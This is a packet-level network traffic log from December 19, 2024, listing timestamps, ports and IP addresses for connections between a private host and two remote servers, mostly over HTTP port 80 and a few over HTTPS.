Dec 19, 2024 16:10:28.041600943 CET	49881	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:28.042330027 CET	80	49881	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:28.042386055 CET	49881	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:28.042457104 CET	80	49881	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:28.042498112 CET	49881	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:28.043322086 CET	80	49881	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:28.043358088 CET	49881	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:28.043400049 CET	80	49881	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:28.043438911 CET	49881	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:28.044347048 CET	80	49881	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:28.044399977 CET	49881	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:28.044857025 CET	80	49881	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:28.044903994 CET	49881	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:28.045315027 CET	80	49881	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:28.045355082 CET	49881	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:28.045566082 CET	80	49881	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:28.045613050 CET	49881	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:28.046255112 CET	80	49881	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:28.046297073 CET	49881	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:28.094448090 CET	443	49889	185.199.109.133	192.168.2.6
Dec 19, 2024 16:10:28.094538927 CET	49889	443	192.168.2.6	185.199.109.133
Dec 19, 2024 16:10:28.095015049 CET	443	49888	185.199.109.133	192.168.2.6
Dec 19, 2024 16:10:28.095113993 CET	49888	443	192.168.2.6	185.199.109.133
Dec 19, 2024 16:10:28.097536087 CET	49889	443	192.168.2.6	185.199.109.133
Dec 19, 2024 16:10:28.097544909 CET	443	49889	185.199.109.133	192.168.2.6
Dec 19, 2024 16:10:28.097832918 CET	443	49889	185.199.109.133	192.168.2.6
Dec 19, 2024 16:10:28.100629091 CET	49889	443	192.168.2.6	185.199.109.133
Dec 19, 2024 16:10:28.109378099 CET	49888	443	192.168.2.6	185.199.109.133
Dec 19, 2024 16:10:28.109397888 CET	443	49888	185.199.109.133	192.168.2.6
Dec 19, 2024 16:10:28.109688997 CET	443	49888	185.199.109.133	192.168.2.6
Dec 19, 2024 16:10:28.113939047 CET	49888	443	192.168.2.6	185.199.109.133
Dec 19, 2024 16:10:28.147346973 CET	443	49889	185.199.109.133	192.168.2.6
Dec 19, 2024 16:10:28.159322023 CET	443	49888	185.199.109.133	192.168.2.6
Dec 19, 2024 16:10:28.187016964 CET	80	49881	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:28.187094927 CET	49881	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:28.187210083 CET	80	49881	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:28.187271118 CET	49881	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:28.187439919 CET	80	49881	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:28.187592030 CET	80	49881	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:28.187669992 CET	49881	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:28.188380003 CET	80	49881	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:28.188432932 CET	49881	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:28.188755035 CET	80	49881	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:28.188888073 CET	49881	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:28.188978910 CET	80	49881	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:28.189049959 CET	49881	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:28.190246105 CET	80	49881	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:28.190295935 CET	49881	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:28.190296888 CET	80	49881	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:28.190340042 CET	49881	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:28.190767050 CET	80	49881	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:28.190887928 CET	80	49881	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:28.190927029 CET	49881	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:28.191704988 CET	80	49881	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:28.191765070 CET	80	49881	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:28.191807032 CET	49881	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:28.192684889 CET	80	49881	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:28.192730904 CET	49881	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:28.192768097 CET	80	49881	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:28.192800999 CET	49881	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:28.193701029 CET	80	49881	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:28.193747997 CET	49881	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:28.193950891 CET	80	49881	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:28.194042921 CET	49881	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:28.194653034 CET	80	49881	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:28.194714069 CET	49881	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:28.194763899 CET	80	49881	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:28.194912910 CET	49881	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:28.195660114 CET	80	49881	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:28.195698023 CET	80	49881	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:28.195702076 CET	49881	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:28.195733070 CET	49881	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:28.196652889 CET	80	49881	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:28.196693897 CET	49881	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:28.197210073 CET	80	49881	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:28.197252035 CET	49881	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:28.197609901 CET	80	49881	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:28.197690010 CET	80	49881	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:28.197699070 CET	49881	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:28.197717905 CET	49881	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:28.198693991 CET	80	49881	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:28.198770046 CET	80	49881	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:28.198817015 CET	49881	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:28.199697018 CET	80	49881	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:28.199752092 CET	49881	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:28.199765921 CET	80	49881	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:28.199807882 CET	49881	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:28.200715065 CET	80	49881	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:28.200757027 CET	49881	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:28.200778961 CET	80	49881	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:28.200828075 CET	49881	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:28.201814890 CET	80	49881	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:28.201921940 CET	49881	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:28.202099085 CET	80	49881	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:28.202143908 CET	49881	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:28.202706099 CET	80	49881	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:28.202756882 CET	49881	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:28.202822924 CET	80	49881	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:28.202867031 CET	49881	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:28.203669071 CET	80	49881	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:28.203712940 CET	49881	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:28.203761101 CET	80	49881	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:28.203808069 CET	49881	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:28.204494953 CET	80	49881	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:28.204608917 CET	80	49881	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:28.204638004 CET	49881	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:28.204648018 CET	49881	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:28.205481052 CET	80	49881	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:28.205555916 CET	49881	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:28.205560923 CET	80	49881	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:28.205595970 CET	49881	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:28.206657887 CET	80	49881	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:28.206701040 CET	49881	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:28.206721067 CET	80	49881	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:28.206757069 CET	49881	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:28.207442045 CET	80	49881	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:28.207652092 CET	49881	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:28.207801104 CET	80	49881	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:28.208034992 CET	49881	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:28.208353043 CET	80	49881	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:28.208400965 CET	49881	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:28.208465099 CET	80	49881	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:28.208507061 CET	49881	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:28.209620953 CET	80	49881	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:28.209635019 CET	80	49881	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:28.209660053 CET	49881	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:28.209675074 CET	49881	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:28.210346937 CET	80	49881	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:28.210386992 CET	49881	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:28.210438967 CET	80	49881	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:28.210479975 CET	49881	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:28.211358070 CET	80	49881	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:28.211427927 CET	49881	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:28.211456060 CET	80	49881	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:28.211489916 CET	49881	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:28.212402105 CET	80	49881	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:28.212449074 CET	49881	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:28.212516069 CET	80	49881	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:28.212821007 CET	49881	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:28.213279009 CET	80	49881	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:28.213323116 CET	49881	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:28.213447094 CET	80	49881	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:28.213525057 CET	49881	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:28.214248896 CET	80	49881	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:28.214297056 CET	80	49881	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:28.214317083 CET	49881	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:28.214330912 CET	49881	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:28.215302944 CET	80	49881	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:28.215343952 CET	49881	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:28.215421915 CET	80	49881	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:28.215609074 CET	49881	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:28.216218948 CET	80	49881	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:28.216259003 CET	49881	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:28.216336966 CET	80	49881	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:28.216495037 CET	49881	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:28.217183113 CET	80	49881	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:28.217222929 CET	49881	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:28.217567921 CET	80	49881	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:28.217616081 CET	49881	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:28.218197107 CET	80	49881	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:28.218242884 CET	49881	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:28.218291998 CET	80	49881	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:28.218343973 CET	49881	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:28.219183922 CET	80	49881	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:28.219224930 CET	49881	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:28.219291925 CET	80	49881	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:28.219331026 CET	49881	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:28.220165014 CET	80	49881	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:28.220215082 CET	49881	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:28.220299959 CET	80	49881	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:28.220340967 CET	49881	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:28.221096992 CET	80	49881	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:28.221215010 CET	80	49881	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:28.221307993 CET	49881	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:28.221307993 CET	49881	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:28.222100973 CET	80	49881	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:28.222140074 CET	49881	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:28.222225904 CET	80	49881	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:28.222263098 CET	49881	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:28.223076105 CET	80	49881	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:28.223119974 CET	49881	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:28.223272085 CET	80	49881	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:28.223315954 CET	49881	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:28.224049091 CET	80	49881	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:28.224174023 CET	80	49881	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:28.224199057 CET	49881	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:28.224215031 CET	49881	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:28.225055933 CET	80	49881	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:28.225096941 CET	49881	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:28.225169897 CET	80	49881	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:28.225209951 CET	49881	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:28.226054907 CET	80	49881	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:28.226102114 CET	49881	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:28.226121902 CET	80	49881	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:28.226238012 CET	49881	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:28.227047920 CET	80	49881	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:28.227094889 CET	49881	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:28.227124929 CET	80	49881	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:28.227168083 CET	49881	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:28.227984905 CET	80	49881	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:28.228030920 CET	49881	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:28.228105068 CET	80	49881	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:28.228143930 CET	49881	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:28.228949070 CET	80	49881	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:28.228987932 CET	49881	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:28.229057074 CET	80	49881	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:28.229224920 CET	49881	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:28.229976892 CET	80	49881	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:28.230087042 CET	49881	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:28.230156898 CET	80	49881	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:28.230201960 CET	49881	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:28.230978966 CET	80	49881	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:28.231079102 CET	49881	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:28.231209993 CET	80	49881	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:28.231251001 CET	49881	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:28.231988907 CET	80	49881	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:28.232032061 CET	49881	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:28.232062101 CET	80	49881	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:28.232100964 CET	49881	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:28.232907057 CET	80	49881	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:28.232949972 CET	49881	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:28.232969046 CET	80	49881	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:28.233022928 CET	49881	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:28.233895063 CET	80	49881	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:28.233922958 CET	80	49881	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:28.233937025 CET	49881	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:28.233961105 CET	49881	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:28.234870911 CET	80	49881	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:28.234916925 CET	49881	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:28.235003948 CET	80	49881	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:28.235151052 CET	49881	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:28.235840082 CET	80	49881	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:28.236052036 CET	80	49881	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:28.236079931 CET	49881	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:28.236092091 CET	49881	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:28.236763000 CET	80	49881	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:28.236810923 CET	49881	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:28.236922979 CET	80	49881	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:28.236983061 CET	49881	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:28.237756014 CET	80	49881	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:28.237807989 CET	49881	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:28.237941027 CET	80	49881	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:28.237983942 CET	49881	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:28.379295111 CET	80	49881	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:28.379355907 CET	49881	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:28.379403114 CET	80	49881	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:28.379448891 CET	49881	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:28.379803896 CET	80	49881	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:28.379821062 CET	80	49881	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:28.379856110 CET	49881	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:28.379878998 CET	49881	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:28.380745888 CET	80	49881	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:28.380795002 CET	49881	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:28.380825043 CET	80	49881	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:28.380868912 CET	49881	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:28.381690025 CET	80	49881	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:28.381742954 CET	49881	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:28.382379055 CET	80	49881	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:28.382424116 CET	49881	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:28.382550955 CET	80	49881	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:28.382592916 CET	49881	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:28.382978916 CET	80	49881	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:28.383048058 CET	80	49881	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:28.383090019 CET	49881	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:28.383999109 CET	80	49881	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:28.384044886 CET	49881	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:28.384078979 CET	80	49881	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:28.384119987 CET	49881	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:28.384962082 CET	80	49881	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:28.384990931 CET	80	49881	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:28.385003090 CET	49881	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:28.385032892 CET	49881	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:28.385930061 CET	80	49881	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:28.385979891 CET	49881	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:28.386070967 CET	80	49881	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:28.386185884 CET	49881	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:28.386926889 CET	80	49881	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:28.386974096 CET	49881	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:28.387013912 CET	80	49881	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:28.387120008 CET	49881	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:28.387882948 CET	80	49881	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:28.387989044 CET	80	49881	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:28.388030052 CET	49881	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:28.388834953 CET	80	49881	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:28.388891935 CET	49881	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:28.388972998 CET	80	49881	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:28.389089108 CET	49881	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:28.390077114 CET	80	49881	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:28.390127897 CET	80	49881	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:28.390141964 CET	49881	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:28.390186071 CET	49881	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:28.390834093 CET	80	49881	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:28.390891075 CET	49881	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:28.390976906 CET	80	49881	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:28.391171932 CET	49881	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:28.391809940 CET	80	49881	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:28.391927004 CET	49881	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:28.391932011 CET	80	49881	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:28.391976118 CET	49881	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:28.392810106 CET	80	49881	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:28.392853975 CET	49881	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:28.392961025 CET	80	49881	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:28.393002033 CET	49881	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:28.393748999 CET	80	49881	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:28.393801928 CET	49881	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:28.393814087 CET	80	49881	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:28.393856049 CET	49881	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:28.394763947 CET	80	49881	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:28.394867897 CET	49881	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:28.394941092 CET	80	49881	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:28.395154953 CET	49881	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:28.395711899 CET	80	49881	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:28.395822048 CET	80	49881	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:28.395827055 CET	49881	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:28.395898104 CET	49881	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:28.396795034 CET	80	49881	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:28.396817923 CET	80	49881	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:28.396864891 CET	49881	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:28.397733927 CET	80	49881	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:28.397783995 CET	49881	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:28.397847891 CET	80	49881	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:28.397907972 CET	49881	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:28.398730993 CET	80	49881	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:28.398844004 CET	80	49881	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:28.398888111 CET	49881	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:28.399722099 CET	80	49881	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:28.399782896 CET	49881	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:28.399979115 CET	80	49881	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:28.400034904 CET	49881	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:28.400624990 CET	80	49881	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:28.400685072 CET	49881	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:28.400840044 CET	80	49881	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:28.400892973 CET	49881	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:28.401659012 CET	80	49881	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:28.401707888 CET	49881	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:28.401738882 CET	80	49881	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:28.401789904 CET	49881	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:28.402668953 CET	80	49881	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:28.402739048 CET	49881	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:28.402808905 CET	80	49881	31.41.244.11	192.168.2.6
